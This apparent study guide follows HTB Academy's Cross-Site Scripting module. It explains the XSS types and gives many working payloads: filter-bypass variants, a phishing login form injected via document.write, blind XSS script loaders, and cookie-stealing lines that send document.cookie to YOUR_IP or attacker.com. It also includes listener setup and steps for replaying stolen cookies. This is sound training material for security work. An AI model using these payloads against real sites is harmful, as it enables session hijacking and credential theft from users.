β Bypass Techniques - Filter evasion and encoding methods
β Complete Labs - Step-by-step HTB Academy solutions
Overview
Cross-Site Scripting (XSS) is a web application vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS occurs when user input is not properly sanitized and gets executed as JavaScript code in the victim's browser.
Impact:
Session hijacking - Stealing authentication cookies
Credential theft - Capturing login credentials via fake forms
Data exfiltration - Accessing sensitive information
Website defacement - Modifying page content
Phishing attacks - Redirecting users to malicious sites
Malware distribution - Downloading malicious files
Types of XSS Vulnerabilities
1. Stored XSS (Persistent XSS)
Most Critical Type - The injected payload gets stored in the back-end database and affects all users who visit the page.
Characteristics:
Persistent - Payload remains after page refresh
Wide impact - Affects all users visiting the page
Database storage - Payload stored in backend database
Hard to remove - Requires database cleanup
Example Scenario:
Testing Method:
Submit XSS payload through input form
Refresh page to confirm persistence
Check if other users see the same payload
2. Reflected XSS (Non-Persistent XSS)
Temporary XSS - Input gets processed by back-end server and returned without proper sanitization.
Characteristics:
Non-persistent - Only affects targeted user
Server processing - Input reaches back-end server
URL parameters - Often exploited through GET requests
Temporary messages - Common in error messages
Example Scenario:
Attack Vector:
3. DOM-based XSS (Client-Side XSS)
Client-side processing - Completely processed on the browser through JavaScript, never reaches back-end server.
Characteristics:
Client-side only - Never reaches backend server
JavaScript processing - Uses Document Object Model (DOM)
No HTTP requests - Processing happens in browser
URL fragments - Often uses # parameters
Source and Sink Concept:
Source - JavaScript object that takes user input:
URL parameters
Input fields
Hash fragments
localStorage/sessionStorage
Sink - Function that writes to DOM objects:
Example Vulnerable Code:
DOM XSS Payload:
Basic XSS Testing Payloads
Standard Payloads
Basic Alert Payload:
Cookie Stealing:
Phishing Login Form Injection:
Session Hijacking (Cookie Stealing):
Blind XSS Detection Payloads:
Alternative Payloads
Bypass techniques when <script> tags are blocked by filters
When <script> is Blocked
Image onerror event:
SVG payload:
Input onfocus:
Iframe JavaScript:
Other HTML5 elements:
Advanced Payloads
Event Handlers:
Without Parentheses:
Encoding Bypass Techniques
URL Encoding:
HTML Entities:
Unicode Encoding:
Double Encoding:
Mixed Case:
XSS Discovery Methods
1. Automated Discovery
Open-Source Tools:
Commercial Scanners:
Burp Suite Professional
Nessus
OWASP ZAP
Acunetix
2. Manual Discovery
Testing Approach:
Identify input points - All user inputs, not just forms
Submit test payload - Use basic <script>alert(1)</script>
Analyze response - Check page source for payload
Verify execution - Confirm JavaScript execution
Test variations - Try different payload types
Input Points to Test:
HTML form fields
URL parameters (GET)
HTTP headers (User-Agent, Cookie, Referer)
JSON/XML parameters
File upload fields
Search functionality
3. Code Review
Frontend Code Review:
Backend Code Review:
Common XSS Attack Scenarios
1. Session Hijacking & Cookie Stealing
π Critical Attack: Steal authentication cookies to hijack user sessions without knowing passwords
Overview: Session hijacking allows attackers to steal user authentication cookies through XSS, gaining unauthorized access to victim accounts without knowing their credentials.
Blind XSS Detection
What is Blind XSS? Blind XSS occurs when the vulnerability is triggered on a page we don't have access to (e.g., Admin panels, contact forms, support tickets).
Problem: No requests to server during blind XSS testing
Problem: Script.js not loading
Problem: Cookies not being captured
Problem: Cookie injection not working
Common Payload Encoding Issues
URL Encoding Problems:
JavaScript String Escaping:
Debugging XSS Payloads
Step-by-step debugging:
Test basic XSS: <script>alert(1)</script>
Test with URL parameter: ?url=<script>alert(1)</script>
Check payload encoding with online tools
Verify server listening: sudo php -S 0.0.0.0:8080
Test credential capture with manual form submission
This XSS guide covers the fundamental concepts and practical techniques from HTB Academy's Cross-Site Scripting module, providing a comprehensive resource for penetration testing and web application security assessment.
<!-- User input stored in database -->
Username: <script>alert(document.cookie)</script>
<!-- Later displayed to all users -->
<div>Welcome <script>alert(document.cookie)</script></div>
<!-- User input in URL -->
http://target.com/search?q=<script>alert(window.origin)</script>
<!-- Server reflects input in error message -->
<div>Search results for: <script>alert(window.origin)</script></div>
# Crafted malicious URL sent to victim
http://target.com/index.php?task=<script>alert(window.origin)</script>
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
# Submit different payloads in each field:
<script src=http://10.10.14.55/fullname></script>
<script src=http://10.10.14.55/username></script>
<script src=http://10.10.14.55/website></script>
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;
<script>
document.body.innerHTML = '<h1>Hacked by Attacker</h1>';
</script>
<!-- Bypass with other tags -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<!-- Alternative functions -->
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>console.log(1)</script>
<!-- Using backticks -->
<script>alert`1`</script>
<!-- Using String.fromCharCode -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- Mixed case -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
<!-- Using DOM manipulation instead of direct HTML -->
<script>
var form = document.createElement('form');
form.action = 'http://attacker.com';
form.innerHTML = '<input name="user"><input type="password" name="pass">';
document.body.appendChild(form);
</script>
<!-- Breaking out of attribute -->
" onmouseover="alert(1)
'><script>alert(1)</script>
<!-- Breaking out of HTML comment -->
--><script>alert(1)</script><!--
<!-- Breaking out of CDATA -->
]]><script>alert(1)</script>
# Raw payload for phishing exercise
'><script>document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP:PORT><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
# URL encoded for browser
http://SERVER_IP/phishing/index.php?url=%27%3E%3Cscript%3Edocument.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2FYOUR_IP%3APORT%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21--
# Step 1: Test blind XSS detection payloads
<script src=http://YOUR_IP/fullname></script>
<script src=http://YOUR_IP/username></script>
<script src=http://YOUR_IP/website></script>
# Step 2: Create script.js for cookie stealing
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;
# Step 3: Use working payload with script.js
<script src=http://YOUR_IP/script.js></script>
# Step 4: Check stolen cookies
cat cookies.txt
# Output: Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
# Step 5: Use cookie in Firefox Developer Tools (Shift+F9)
# Storage tab > Add cookie > Set Name: cookie, Value: f904f93c949d19d870911bf8b05fe7b2
# Finding vulnerable parameter
# Answer: email (example from HTB labs)
# Finding XSS type
# Answer: reflected (example from HTB labs)
# Check 1: Basic XSS first
<script>alert(1)</script>
# Check 2: Verify IP address
ip a | grep tun0
ifconfig tun0
# Check 3: URL encoding
# Use Burp Suite or online URL encoder
# β WRONG - Using placeholders from tutorial
action=http://PWNIP:PWNPO
# β CORRECT - Using your actual IP
action=http://10.10.14.55:8080
# Check if PHP server is running
sudo netstat -tlnp | grep :8080
# Check server logs
tail -f /var/log/apache2/access.log
# Test with netcat first
sudo nc -lvnp 8080
# Debug: Check browser console (F12)
# Look for JavaScript errors
# Check page source for payload injection
View Source or Ctrl+U
# Check 1: Server is running
sudo php -S 0.0.0.0:80
# Check 2: Firewall allowing connections
sudo ufw allow 80
# Check 3: Test with simple HTTP request
curl http://YOUR_IP
# Check 4: Try different payload variations
'><script src=http://YOUR_IP/test></script>
"><script src=http://YOUR_IP/test></script>
# Check file exists in server directory
ls -la /tmp/tmpserver/script.js
# Check file permissions
chmod 644 script.js
# Test direct access
curl http://YOUR_IP/script.js
// Debug: Check if document.cookie contains anything
console.log(document.cookie);
// Alternative cookie stealing methods
new Image().src='http://YOUR_IP/test?cookie='+document.cookie;
fetch('http://YOUR_IP/steal?c='+document.cookie);
# Check cookie format in browser
# Format should be: Name=Value
# Example: cookie=f904f93c949d19d870911bf8b05fe7b2
# Clear browser cookies first
# Then add stolen cookie
# Refresh page to test access
# Spaces must be encoded as %20 or +
Please login to continue
# Becomes:
Please+login+to+continue
# Special characters must be encoded
< = %3C
> = %3E
" = %22
' = %27